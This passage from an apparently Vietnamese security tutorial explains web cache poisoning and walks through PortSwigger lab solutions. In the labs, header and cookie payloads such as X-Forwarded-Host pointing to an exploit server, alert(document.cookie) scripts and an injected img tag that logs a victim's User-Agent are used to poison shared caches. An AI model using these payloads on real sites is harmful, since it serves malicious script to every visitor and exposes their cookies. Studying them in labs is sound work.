  <li><strong>Private cache</strong>: thường nằm ở phía browser, chỉ phục vụ cho một user cụ thể. Loại cache này có thể chứa dữ liệu liên quan đến session hoặc thông tin cá nhân, nên không được chia sẻ.</li>
  <li><strong>Shared cache</strong>: nằm ở các tầng trung gian như reverse proxy hoặc CDN. Đây là loại cache phục vụ cho nhiều user khác nhau và cũng chính là mục tiêu chính của các cuộc tấn công Web Cache Poisoning.</li>
</ul>

<p>Chính vì shared cache phục vụ nhiều người dùng, nên chỉ cần một response bị “đầu độc” thì hậu quả sẽ lan rộng ra toàn bộ những ai truy cập cùng resource đó.</p>

<h3 id="2-cache-key--trái-tim-của-cơ-chế-caching">2. Cache key – “trái tim” của cơ chế caching</h3>

<p>Trong quá trình xử lý một HTTP request, cache server không lưu toàn bộ nội dung của request để so sánh cho những lần truy cập sau. Thay vào đó, nó trích xuất một tập hợp các thành phần nhất định từ request và sử dụng chúng để tạo thành một giá trị đại diện, gọi là <em>cache key</em>. Giá trị này đóng vai trò quyết định trong việc cache có thể tái sử dụng một response đã lưu hay không.</p>

<p>Thông thường, cache key được xây dựng từ các thành phần như đường dẫn URL, chuỗi truy vấn, và header Host. Khi một request mới được gửi đến, cache sẽ tạo cache key tương ứng và so sánh với các key đã tồn tại. Nếu tìm thấy một key trùng khớp, cache sẽ coi hai request là tương đương và trả về response đã được lưu trước đó mà không cần chuyển tiếp request đến origin server.</p>

<p>Tuy nhiên, không phải toàn bộ dữ liệu trong request đều được đưa vào cache key. Những thành phần còn lại, dù vẫn có thể ảnh hưởng đến cách server tạo response, nhưng không được sử dụng để định danh trong cache, được gọi là <em>unkeyed inputs</em>.</p>

<p>Những thành phần này tạo ra một khoảng chênh lệch quan trọng giữa hai quá trình: một bên là cách response được sinh ra, và bên còn lại là cách response được định danh trong cache.</p>

<p>Chính sự không đồng nhất này là nền tảng cho Web Cache Poisoning. Nếu attacker kiểm soát được một đầu vào có khả năng ảnh hưởng đến nội dung response nhưng lại không nằm trong cache key, họ có thể khiến server tạo ra một response mang nội dung độc hại. Nếu response đó được cache lưu lại, mọi request sau có cùng cache key sẽ nhận lại chính response này, bất kể chúng không chứa payload ban đầu.</p>

<p>Do đó, khi phân tích một hệ thống có sử dụng cache, điều quan trọng không chỉ là xem những gì ảnh hưởng đến response, mà còn phải xác định chính xác những gì được sử dụng để tạo cache key. Bất kỳ sự khác biệt nào giữa hai yếu tố này đều có thể trở thành điểm khởi đầu cho một cuộc tấn công.</p>

<h3 id="3-vai-trò-của-http-headers-trong-caching">3. Vai trò của HTTP headers trong caching</h3>

<p>Caching không chỉ phụ thuộc vào cache server, mà còn bị điều khiển bởi các HTTP headers do server trả về. húng ta có thể nhận biết một trang web thực hiện caching tài nguyên hay không thông qua một số header trong response như <strong><code class="language-plaintext highlighter-rouge">X-Cache</code></strong>, <strong><code class="language-plaintext highlighter-rouge">Age</code></strong>, <strong><code class="language-plaintext highlighter-rouge">Cache-Control</code></strong></p>

<ul>
  <li><strong>Cache-Control</strong>: xác định cách response được cache (public, private, max-age, no-store, …)</li>
  <li><strong>Age</strong>: cho biết response đã được cache bao lâu</li>
  <li><strong>Vary</strong>: chỉ định những header nào cần được đưa vào cache key</li>
</ul>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cache-Control: public, max-age=600
</code></pre></div></div>

<p>Điều này có nghĩa là response có thể được cache và sử dụng trong vòng 10 phút.</p>

<p>Nếu cấu hình không đúng, ví dụ như thiếu header <code class="language-plaintext highlighter-rouge">Vary</code> cho những yếu tố ảnh hưởng tới response, cache có thể phục vụ sai nội dung cho user — hoặc tệ hơn là phục vụ nội dung đã bị attacker kiểm soát.</p>

<h2 id="iii-xây-dựng-1-cuộc-tấn-công-web-cache-poisoning">III. Xây dựng 1 cuộc tấn công Web cache poisoning</h2>

<p><img src="/assets/images/web-cache-poisoning/image_11e008f.png" alt="image_11e008f.png" /></p>

<h3 id="1-detech">1. Detech</h3>

<p>Bước đầu tiên chắc hẳn phải là phát hiện ra trang web có sử dụng web caching hay không , việc này thường khá đơn giản vì chúng t có thể chỉ cần quan sát nội dung của các header trả về trong respone. Dấu hiệu rõ ràng nhất thường là các header với giá trị tương ứng : Cache-control với từ khóa max-age, X-cache, với từ khóa miss với hit.</p>

<h3 id="2-tìm-kiếm-unkeyed-inputs"><strong>2. Tìm kiếm unkeyed inputs</strong></h3>

<p>Các unkeyed inputs đóng vai trò quyết định kết quả cuộc tấn công của chúng ta. Chúng ta sẽ cần tìm kiếm các giá trị unkeyed inputs được server lưu trữ và chứa trong tài nguyên cache trả về ở các lần request tiếp theo. Với số trường hợp cần thử khả lớn, nên chúng ta cần sử dụng các công cụ hỗ trợ, ví dụ như extension <a href="https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943"><strong>Param Miner</strong></a> của Burp Suite.</p>

<h3 id="3-poisoning"><strong>3. Poisoning</strong></h3>

<p>Sau khi xác định được mục tiêu và vị trí tấn công (unkeyed input), bước tiếp theo là thực hiện đầu độc (poisoning) bộ nhớ cache. Bước này phụ thuộc vào mục đích của kẻ tấn công và trường hợp cụ thể của trang web mà xây dựng các payload poisoning khác nhau. Thông thường có thể tạo ra các payload kiểm tra lỗ hổng XSS.</p>

<h3 id="4-check"><strong>4. Check</strong></h3>

<p>Cuối cùng, chúng ta thực hiện kiếm tra payload đã được lưu trữ thành công hay chưa. Chẳng hạn trong response trả về (của request đang chứa payload), giá trị header <strong><code class="language-plaintext highlighter-rouge">X-Cache</code></strong> thay đổi từ <strong><code class="language-plaintext highlighter-rouge">hit</code></strong> sang <strong><code class="language-plaintext highlighter-rouge">miss</code></strong>, nghĩa là response này đã được server backend xử lý và trả về từ server gốc. Loại bỏ payload khỏi request và gửi thêm một lần, trong response trả về, nếu giá trị header <strong><code class="language-plaintext highlighter-rouge">X-Cache</code></strong> thay đổi từ <strong><code class="language-plaintext highlighter-rouge">miss</code></strong> sang <strong><code class="language-plaintext highlighter-rouge">hit</code></strong> và trong response vẫn chứa payload trong request trước, nghĩa là reponse nguy hiểm đã được hệ thống caching thành công.</p>

<blockquote>
  <p>Trong thực tế, việc tìm các unkeyed input thủ công khá tốn thời gian, vì nhiều thay đổi là rất nhỏ và khó nhận ra. Do đó, các công cụ như Param Miner trong Burp Suite thường được sử dụng để tự động fuzz header và phát hiện những input có ảnh hưởng đến response. Tuy nhiên, khi test trên hệ thống thật, cần cẩn thận sử dụng cache buster (ví dụ thêm param ngẫu nhiên) để tránh việc vô tình đầu độc cache của người dùng thật.</p>

</blockquote>

<h2 id="iv-khai-thác-lỗ-hổng-web-cache-poisoning">IV. Khai thác lỗ hổng Web cache poisoning</h2>

<h3 id="khai-thác-lỗ-hổng-do-sai-sót-trong-thiết-kế-bộ-nhớ-cache">Khai thác lỗ hổng do sai sót trong thiết kế bộ nhớ cache.</h3>

<p><img src="/assets/images/web-cache-poisoning/image_cd17624c.png" alt="image_cd17624c.png" /></p>

<p>Sau khi đã hiểu được vai trò của cache key và unkeyed inputs, bước tiếp theo là khai thác lỗ hổng này trong thực tế.</p>

<p>Một trong những kịch bản phổ biến nhất là khi unkeyed input được phản chiếu trực tiếp vào response mà không qua xử lý. Ví dụ, một số hệ thống sử dụng header như <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> để xây dựng các URL động trong HTML. Nếu giá trị của header này được đưa thẳng vào response và không được xử lí an toàn, attacker có thể chèn payload vào đó. Khi response này được cache lại, tất cả người dùng truy cập cùng endpoint sẽ nhận nội dung đã bị chèn, dẫn đến các cuộc tấn công như XSS trên diện rộng</p>

<p>Để minh họa cho phương thức tấn công này thì mời các bạn xem qua bài lab sau đây trên PortSwigger</p>

<p><img src="/assets/images/web-cache-poisoning/image%202.png" alt="image.png" /></p>

<p>Mục tiêu của bài là khiến trình duyệt của nạn nhân thực thi <code class="language-plaintext highlighter-rouge">alert(document.cookie)</code> bằng cách đầu độc cache của trang chủ.</p>

<p>Trong bài lab này, mục tiêu là lợi dụng header <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> để đầu độc cache và thực thi JavaScript trên trình duyệt nạn nhân.</p>

<p>Trước tiên, bật Burp Suite và truy cập trang chủ. Trong tab Proxy → HTTP history, lấy request GET của trang chủ và gửi sang Repeater để thao tác.</p>

<p>Để tránh ảnh hưởng cache thật trong quá trình test, thêm một tham số cache buster như <code class="language-plaintext highlighter-rouge">?cb=1234</code>. Sau đó, thêm header:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Forwarded-Host: example.com
</code></pre></div></div>

<p>Gửi request và quan sát response. Có thể thấy giá trị của header này được dùng để build URL tuyệt đối cho file <code class="language-plaintext highlighter-rouge">/resources/js/tracking.js</code>. Khi gửi lại request nhiều lần và thấy xuất hiện <code class="language-plaintext highlighter-rouge">X-Cache: hit</code>, chứng tỏ response này đã bị cache dù header thay đổi → đây là unkeyed input.</p>

<p><img src="/assets/images/web-cache-poisoning/image%203.png" alt="image.png" /></p>

<p>Sau khi gửi request nhiều lần nhằm để xác nhận suy đoán thì mình thấy được server trả về như này</p>

<p><img src="/assets/images/web-cache-poisoning/image%204.png" alt="image.png" /></p>

<p>Tiếp theo, truy cập exploit server của lab và tạo một file đúng đường dẫn:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/resources/js/tracking.js
</code></pre></div></div>

<p>Với nội dung:</p>

<p><img src="/assets/images/web-cache-poisoning/image%205.png" alt="image.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert(document.cookie)
</code></pre></div></div>

<p>Sau đó quay lại Repeater, xóa cache buster và sửa header thành:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Forwarded-Host: &lt;exploit-server-id&gt;.exploit-server.net
</code></pre></div></div>

<p>Gửi request nhiều lần cho đến khi response trả về chứa domain exploit server và header <code class="language-plaintext highlighter-rouge">X-Cache: hit</code>. Lúc này cache đã bị đầu độc.</p>

<p><img src="/assets/images/web-cache-poisoning/image%206.png" alt="image.png" /></p>

<p>Cuối cùng, truy cập lại URL trang chủ trên trình duyệt để mô phỏng nạn nhân. Nếu payload chạy (hiện alert), nghĩa là khai thác thành công. Do cache trong lab chỉ tồn tại khoảng 30 giây, cần gửi request lặp lại để duy trì trạng thái poisoned nếu cần.</p>

<p><img src="/assets/images/web-cache-poisoning/image%207.png" alt="image.png" /></p>

<p><img src="/assets/images/web-cache-poisoning/image%208.png" alt="image.png" /></p>

<p>Qua bài tiếp theo là</p>

<p><strong>Tấn công bộ nhớ cache web bằng cookie không được mã hóa</strong></p>

<p><img src="/assets/images/web-cache-poisoning/image%209.png" alt="image.png" /></p>

<p>Ở bài này, thay vì header, điểm yếu nằm ở việc <strong>cookie ảnh hưởng đến response nhưng không nằm trong cache key</strong>.</p>

<p>Mở lab bằng Burp Suite và truy cập trang chủ. Quan sát response ban đầu sẽ thấy server set cookie <code class="language-plaintext highlighter-rouge">fehost=prod-cache-01</code>. Khi reload lại trang, giá trị của cookie này được phản ánh vào trong một đoạn JavaScript trong response.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2010.png" alt="image.png" /></p>

<p>Gửi request sang Repeater, thêm cache buster rồi thử sửa giá trị cookie thành chuỗi bất kỳ. Response sẽ phản hồi lại đúng giá trị đó ⇒ chứng tỏ cookie này ảnh hưởng trực tiếp đến nội dung trả về.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2011.png" alt="image.png" /></p>

<p>Tiếp theo, chèn payload XSS vào cookie, ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fehost=abc"-alert(1)-"abc
</code></pre></div></div>

<p>Gửi request nhiều lần cho đến khi thấy payload xuất hiện trong response kèm <code class="language-plaintext highlighter-rouge">X-Cache: hit</code>. Lúc này response độc hại đã bị cache.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2012.png" alt="image.png" /></p>

<p>Truy cập lại trang trên trình duyệt, nếu <code class="language-plaintext highlighter-rouge">alert(1)</code> được thực thi thì khai thác thành công. Sau đó có thể tiếp tục gửi request để giữ cache luôn ở trạng thái poisoned cho đến khi nạn nhân truy cập.</p>

<p>Ý chính của lab: dù là cookie, nếu nó không được đưa vào cache key nhưng lại được dùng để build response, attacker hoàn toàn có thể biến nó thành điểm tiêm payload và phát tán qua cache.</p>

<h3 id="thực-hành--web-cache-poisoning-with-multiple-headers"><strong>Thực hành : Web cache poisoning with multiple headers</strong></h3>

<p><img src="/assets/images/web-cache-poisoning/image%2013.png" alt="image.png" /></p>

<p>Ở bài này, một header đơn lẻ không đủ để khai thác. Cần kết hợp nhiều header để tạo ra response độc hại rồi đưa nó vào cache.</p>

<p>Mở lab bằng Burp Suite, truy cập trang và trong HTTP history tìm request tới <code class="language-plaintext highlighter-rouge">/resources/js/tracking.js</code>, sau đó gửi sang Repeater.</p>

<p>Thêm cache buster và thử <code class="language-plaintext highlighter-rouge">X-Forwarded-Host: example.com</code> nhưng sẽ thấy không có thay đổi đáng kể bởi vì nó đã được định nghĩa cache key rồi</p>

<p><img src="/assets/images/web-cache-poisoning/image%2014.png" alt="image.png" /></p>

<p>Tiếp theo, thay bằng:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Forwarded-Scheme: http
</code></pre></div></div>

<p>Response sẽ trả về redirect 302 sang HTTPS. Điều này cho thấy server dùng header này để build URL redirect.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2015.png" alt="image.png" /></p>

<p>Bây giờ kết hợp cả hai:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Forwarded-Host: example.com
X-Forwarded-Scheme: nothttps
</code></pre></div></div>

<p>Lúc này header <code class="language-plaintext highlighter-rouge">Location</code> sẽ trỏ tới <code class="language-plaintext highlighter-rouge">https://example.com/...</code> ⇒ đã kiểm soát được URL redirect.</p>

<blockquote>

  <p>Để cho các bạn nào thắc mắc vì sao dùng nohttps thì đây là “mánh khóe” để vượt qua <strong>Cache Key</strong>.</p>

  <p>Thông thường, các hệ thống Cache (như Cloudflare, Varnish) được cấu hình để phân biệt nội dung dựa trên một số yếu tố (Cache Key). Một cấu hình rất phổ biến là:</p>

  <ul>
    <li>Nếu yêu cầu là <code class="language-plaintext highlighter-rouge">HTTPS</code> -&gt; Trả về trang A.</li>
    <li>Nếu yêu cầu là <code class="language-plaintext highlighter-rouge">HTTP</code> -&gt; Trả về lệnh Redirect sang HTTPS.</li>
  </ul>

  <p>Nếu bạn gửi <code class="language-plaintext highlighter-rouge">X-Forwarded-Scheme: http</code>, hệ thống Cache có thể nhận diện đây là một yêu cầu HTTP tiêu chuẩn và nó lưu kết quả Redirect đó vào một “ngăn chứa” dành riêng cho HTTP. Nó không ảnh hưởng đến những người dùng đang truy cập bằng HTTPS thật sự.</p>

  <p><strong>Tuy nhiên, khi bạn dùng <code class="language-plaintext highlighter-rouge">nothttps</code>:</strong></p>

  <ol>
    <li><strong>Server gốc (Backend):</strong> Vẫn hiểu <code class="language-plaintext highlighter-rouge">nothttps</code> nghĩa là “không phải HTTPS” (giống như <code class="language-plaintext highlighter-rouge">http</code>), nên nó vẫn trả về lệnh Redirect kèm cái Host giả mạo (<code class="language-plaintext highlighter-rouge">example.com</code>).</li>
    <li><strong>Bộ phận Cache:</strong> Vì <code class="language-plaintext highlighter-rouge">nothttps</code> là một giá trị lạ, không nằm trong quy tắc phân loại Cache Key thông thường (thường chỉ phân biệt <code class="language-plaintext highlighter-rouge">http</code> và <code class="language-plaintext highlighter-rouge">https</code>). Cache có thể coi đây là một yêu cầu HTTPS bình thường và <strong>ghi đè (đầu độc)</strong> cái phản hồi Redirect độc hại đó vào bộ nhớ đệm của trang HTTPS chính thức.</li>
  </ol>

  <p><strong>Tóm lại:</strong></p>

  <ul>
    <li>Dùng <strong><code class="language-plaintext highlighter-rouge">http</code></strong> để <strong>thử nghiệm</strong> logic của server.</li>
    <li>Dùng <strong><code class="language-plaintext highlighter-rouge">nothttps</code></strong> để <strong>đánh lừa bộ nhớ đệm</strong>, ép nó lưu trữ phản hồi sai lệch vào nơi mà nó không nên lưu, từ đó làm tất cả người dùng khác (dù dùng HTTPS thật) cũng bị redirect sang <code class="language-plaintext highlighter-rouge">example.com</code></li>
  </ul>
</blockquote>

<p>Tiếp theo, lên exploit server tạo file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/resources/js/tracking.js
</code></pre></div></div>

<p>với payload:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert(document.cookie)
</code></pre></div></div>

<p>Quay lại Repeater, sửa header:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>X-Forwarded-Host: &lt;exploit-server-id&gt;.exploit-server.net
X-Forwarded-Scheme: nothttps
</code></pre></div></div>

<p>Gửi request nhiều lần cho đến khi thấy response chứa domain exploit server và <code class="language-plaintext highlighter-rouge">X-Cache: hit</code> ⇒ cache đã bị đầu độc.</p>

<p>Cuối cùng, reload trang chủ trên trình duyệt để mô phỏng nạn nhân. Nếu <code class="language-plaintext highlighter-rouge">alert(document.cookie)</code> chạy thì khai thác thành công. Do cache có thời gian sống ngắn, cần gửi request lặp lại để giữ trạng thái poisoned.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2016.png" alt="image.png" /></p>

<p>Ý chính: một số case cần <strong>chain nhiều unkeyed input</strong> lại với nhau thì mới tạo được response đủ điều kiện để cache và khai thác.</p>

<h3 id="thực-hành-tấn-công-làm-nhiễm-độc-bộ-nhớ-cache-web-có-chủ-đích-bằng-cách-sử-dụng-một-tiêu-đề-không-xác-định"><strong>Thực hành: Tấn công làm nhiễm độc bộ nhớ cache web có chủ đích bằng cách sử dụng một tiêu đề không xác định.</strong></h3>

<p><img src="/assets/images/web-cache-poisoning/image%2017.png" alt="image.png" /></p>

<p>Ở bài này, điểm khác biệt so với các lab trước là không chỉ poison cache, mà còn phải <strong>target đúng nhóm user cụ thể</strong>. Nguyên nhân là do server sử dụng header <code class="language-plaintext highlighter-rouge">Vary</code>, khiến một số header (ở đây là <code class="language-plaintext highlighter-rouge">User-Agent</code>) trở thành một phần của cache key. Nếu không khớp, payload sẽ không được serve cho victim.</p>

<p>Quá trình khai thác có thể tóm gọn như sau:</p>

<ul>
  <li>Truy cập trang chủ, lấy request và dùng <strong>Param Miner</strong> để tìm input ẩn → phát hiện header <code class="language-plaintext highlighter-rouge">X-Host</code>.</li>
</ul>

<p><img src="/assets/images/web-cache-poisoning/image%2018.png" alt="image.png" /></p>

<ul>
  <li>Gửi request sang Repeater, thêm cache-buster rồi thử <code class="language-plaintext highlighter-rouge">X-Host: example.com</code> → thấy header này được dùng để generate URL load file <code class="language-plaintext highlighter-rouge">/resources/js/tracking.js</code>.</li>
  <li>
    <p>Chuẩn bị exploit server với file <code class="language-plaintext highlighter-rouge">/resources/js/tracking.js</code> chứa payload:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  alert(document.cookie)
</code></pre></div>    </div>
  </li>
  <li>
    <p>Sửa lại request:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  X-Host: &lt;exploit-server&gt;
</code></pre></div>    </div>

    <p>gửi đến khi thấy <code class="language-plaintext highlighter-rouge">X-Cache: hit</code> → đã poison cache thành công.</p>

    <p><img src="/assets/images/web-cache-poisoning/image%2019.png" alt="image.png" /></p>
  </li>
</ul>

<p>Đến đây vẫn chưa đủ, vì cache đang bị phân tách theo <code class="language-plaintext highlighter-rouge">User-Agent</code>.</p>

<ul>
  <li>
    <p>Tận dụng chức năng comment, chèn:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  &lt;img src="https://&lt;exploit-server&gt;/foo"&gt;
</code></pre></div>    </div>

    <p>để ép victim gửi request về server của bạn.</p>
  </li>
  <li>Mở log trên exploit server, chờ victim truy cập và lấy <strong>User-Agent</strong> của họ.</li>
  <li>Quay lại request trong Repeater:
    <ul>
      <li>thêm đúng <code class="language-plaintext highlighter-rouge">User-Agent</code> của victim</li>
      <li>bỏ cache-buster</li>
    </ul>
  </li>
  <li>Gửi lại request đến khi có <code class="language-plaintext highlighter-rouge">X-Cache: hit</code>.</li>
</ul>

<p><img src="/assets/images/web-cache-poisoning/image%2020.png" alt="image.png" /></p>

<p>Cuối cùng, khi victim truy cập trang, họ sẽ nhận đúng response đã bị poison theo <code class="language-plaintext highlighter-rouge">User-Agent</code> của họ và payload <code class="language-plaintext highlighter-rouge">alert(document.cookie)</code> sẽ được thực thi.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2021.png" alt="image.png" /></p>

<p>Điểm mấu chốt của lab này không nằm ở kỹ thuật inject, mà ở việc hiểu cách <code class="language-plaintext highlighter-rouge">Vary</code> ảnh hưởng đến cache key và cách điều khiển request để nhắm trúng đối tượng cụ thể.</p>

<h3 id="lab-combining-web-cache-poisoning-vulnerabilities">Lab: Combining web cache poisoning vulnerabilities</h3>

<p>Bài này không còn là một lỗ hổng đơn lẻ nữa, mà yêu cầu <strong>chain nhiều kỹ thuật lại với nhau</strong>. Ý tưởng chính là: poison một response chứa payload, nhưng vì victim dùng tiếng Anh (không trigger XSS), nên phải tìm cách <strong>ép họ chuyển sang ngôn ngữ khác</strong> rồi mới dính payload.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2022.png" alt="image.png" /></p>

<ul>
  <li>Truy cập trang, dùng <strong>Param Miner</strong> → phát hiện 2 header quan trọng:<code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> và <code class="language-plaintext highlighter-rouge">X-Original-URL</code>.</li>
</ul>

<p><img src="/assets/images/web-cache-poisoning/image%2023.png" alt="image.png" /></p>

<ul>
  <li>
    <p>Test <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> → thấy có thể control source của file:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  /resources/json/translations.json
</code></pre></div>    </div>

    <p>→ đây là điểm inject.</p>

    <p><img src="/assets/images/web-cache-poisoning/image%2024.png" alt="image.png" /></p>
  </li>
  <li>Chuẩn bị exploit server:
    <ul>
      <li>path: <code class="language-plaintext highlighter-rouge">/resources/json/translations.json</code></li>
      <li>
        <p>thêm header:</p>

        <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  Access-Control-Allow-Origin: *
</code></pre></div>        </div>
      </li>
      <li>body JSON chứa payload XSS trong phần ngôn ngữ (ví dụ <code class="language-plaintext highlighter-rouge">es</code>).</li>
    </ul>
  </li>
  <li>
    <p>Gửi request:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  GET /?localized=1
  Cookie: lang=es
  X-Forwarded-Host: &lt;exploit-server&gt;
</code></pre></div>    </div>

    <p>→ spam đến khi có <code class="language-plaintext highlighter-rouge">X-Cache: hit</code></p>

    <p>→ đã poison trang tiếng Tây Ban Nha.</p>
  </li>
</ul>

<p>Nhưng victim dùng tiếng Anh nên chưa dính.</p>

<ul>
  <li>
    <p>Quan sát thấy khi đổi ngôn ngữ, web redirect qua:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  /setlang/es
</code></pre></div>    </div>

    <p>và set cookie <code class="language-plaintext highlighter-rouge">lang=es</code>.</p>

    <p><img src="/assets/images/web-cache-poisoning/image%2025.png" alt="image.png" /></p>
  </li>
  <li>
    <p>Thử dùng:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  X-Original-URL: /setlang/es
</code></pre></div>    </div>

    <p>→ không cache được (do có <code class="language-plaintext highlighter-rouge">Set-Cookie</code>).</p>
  </li>
  <li>
    <p>Nhưng nếu dùng:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  X-Original-URL: /setlang\es
</code></pre></div>    </div>

    <p>→ server normalize → trả về <strong>302 redirect</strong></p>

    <p>→ response này <strong>cache được</strong></p>
  </li>
</ul>

<p>→ đây là cách ép user chuyển sang tiếng Tây Ban Nha.</p>

<p><img src="/assets/images/web-cache-poisoning/image%2026.png" alt="image.png" /></p>

<p>Khi nhấn view details , thì alert sẽ được hiện ra và sẽ solve được bài lab</p>

<p><img src="/assets/images/web-cache-poisoning/image%2027.png" alt="image.png" /></p>

<p><img src="/assets/images/web-cache-poisoning/image%2028.png" alt="image.png" /></p>

<h3 id="chain-exploit">Chain exploit</h3>

<ol>
  <li>
    <p>Poison:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> GET /?localized=1
 + X-Forwarded-Host → load JSON độc hại
</code></pre></div>    </div>
  </li>
  <li>
    <p>Ngay sau đó poison tiếp:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> GET /
 + X-Original-URL: /setlang\es
</code></pre></div>    </div>

    <p>→ ép tất cả user sang tiếng Tây Ban Nha</p>
  </li>
</ol>

<h3 id="kết-quả">Kết quả</h3>

<ul>
  <li>Victim truy cập <code class="language-plaintext highlighter-rouge">/</code></li>
  <li>Bị redirect sang <code class="language-plaintext highlighter-rouge">/setlang/es</code></li>
  <li>Trang load bản dịch từ JSON độc hại</li>
  <li>→ trigger <code class="language-plaintext highlighter-rouge">alert(document.cookie)</code></li>
</ul>

<h2 id="khai-thác-các-lỗ-hổng-trong-quá-trình-triển-khai-bộ-nhớ-đệm"><strong>Khai thác các lỗ hổng trong quá trình triển khai bộ nhớ đệm</strong></h2>

<p>Trong các kỹ thuật web cache poisoning cơ bản, kẻ tấn công thường tận dụng các <strong>input không nằm trong cache key</strong> (unkeyed input) như header hoặc cookie để chèn payload. Tuy nhiên, cách tiếp cận này tuy hiệu quả nhưng nó chỉ là bước khởi đầu so với những gì ta có thể làm được với lỗ hổng này</p>

<p>Trong thực tế, nhiều hệ thống cache tồn tại những sai lệch tinh vi trong cách <strong>xây dựng cache key</strong>, mở ra một hướng khai thác mạnh hơn: tấn công thông qua <strong>cache implementation flaws</strong>.</p>

<h3 id="1-cache-key-không-phản-ánh-chính-xác-request">1. Cache key không phản ánh chính xác request</h3>

<p>Theo lý thuyết, cache key được xây dựng từ các thành phần của request như:</p>

<ul>
  <li>URL path</li>
  <li>Query string</li>
  <li>Host header</li>
</ul>

<p>Ví dụ:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /?param=abc
</code></pre></div></div>

<p>→ Cache key kỳ vọng: <code class="language-plaintext highlighter-rouge">/ ?param=abc</code></p>

<p>Tuy nhiên, nhiều hệ thống cache thực hiện các bước xử lý bổ sung trước khi tạo key, chẳng hạn:</p>

<ul>
  <li>Loại bỏ toàn bộ query string</li>
  <li>Loại bỏ một số query parameter</li>
  <li>Bỏ port trong Host header</li>
  <li>Chuẩn hóa (normalize) encoding</li>
</ul>

<p>Kết quả là:</p>

<blockquote>
  <p>Cache key chỉ là phiên bản đã được biến đổi của request, không phải dữ liệu gốc mà ứng dụng xử lý.</p>

</blockquote>

<h3 id="2-sai-lệch-giữa-cache-và-ứng-dụng-desynchronization">2. Sai lệch giữa cache và ứng dụng (desynchronization)</h3>

<p>Lỗ hổng xuất hiện khi:</p>

<ul>
  <li>Cache coi hai request là giống nhau (cùng cache key)</li>
  <li>Nhưng ứng dụng backend lại xử lý chúng khác nhau</li>
</ul>

<p>Điều này dẫn đến việc một response độc hại có thể được lưu cache và phục vụ cho nhiều người dùng khác.</p>

<p>Chúng ta có thể giả sử như</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /
Host: victim.com:1337
</code></pre></div></div>

<p>Backend sử dụng giá trị đầy đủ của Host để tạo redirect:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 302 Found
Location: https://victim.com:1337/en
</code></pre></div></div>

<p>Nếu cache loại bỏ phần port khi tạo key, response này sẽ được lưu với key tương ứng với <code class="language-plaintext highlighter-rouge">victim.com</code>.</p>

<p>Bước 2 : Người dùng truy cập bình thường</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /
Host: victim.com
</code></pre></div></div>

<p>Cache trả về response đã lưu:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Location: https://victim.com:1337/en
</code></pre></div></div>

<p>Kết quả:</p>

<ul>
  <li>Người dùng bị redirect đến một endpoint không hợp lệ</li>
  <li>Có thể dẫn đến denial-of-service hoặc chuyển hướng độc hại</li>
</ul>

<h2 id="3-phương-pháp-khai-thác-tổng-quát">3. Phương pháp khai thác tổng quát</h2>

<p>Để khai thác nhóm lỗ hổng này, cần thực hiện ba bước chính:</p>

<h3 id="31-xác-định-cache-oracle">3.1 Xác định cache oracle</h3>

<p>Một endpoint có thể cho biết response đến từ cache hay backend, ví dụ:</p>

<ul>
  <li>Header như <code class="language-plaintext highlighter-rouge">X-Cache: hit/miss</code></li>
  <li>Header <code class="language-plaintext highlighter-rouge">Age</code></li>
  <li>Thời gian phản hồi</li>
</ul>

<h3 id="32-phân-tích-cách-cache-xử-lý-input">3.2 Phân tích cách cache xử lý input</h3>

<p>Mục tiêu là tìm ra các biến đổi trong quá trình tạo cache key:</p>

<ul>
  <li>Query string có bị loại bỏ không</li>
  <li>Có parameter nào bị bỏ qua không</li>
  <li>Host có bị chuẩn hóa không</li>
  <li>Encoding có bị normalize không</li>
</ul>

<p>Thực hiện bằng cách gửi nhiều request tương tự và so sánh phản hồi.</p>
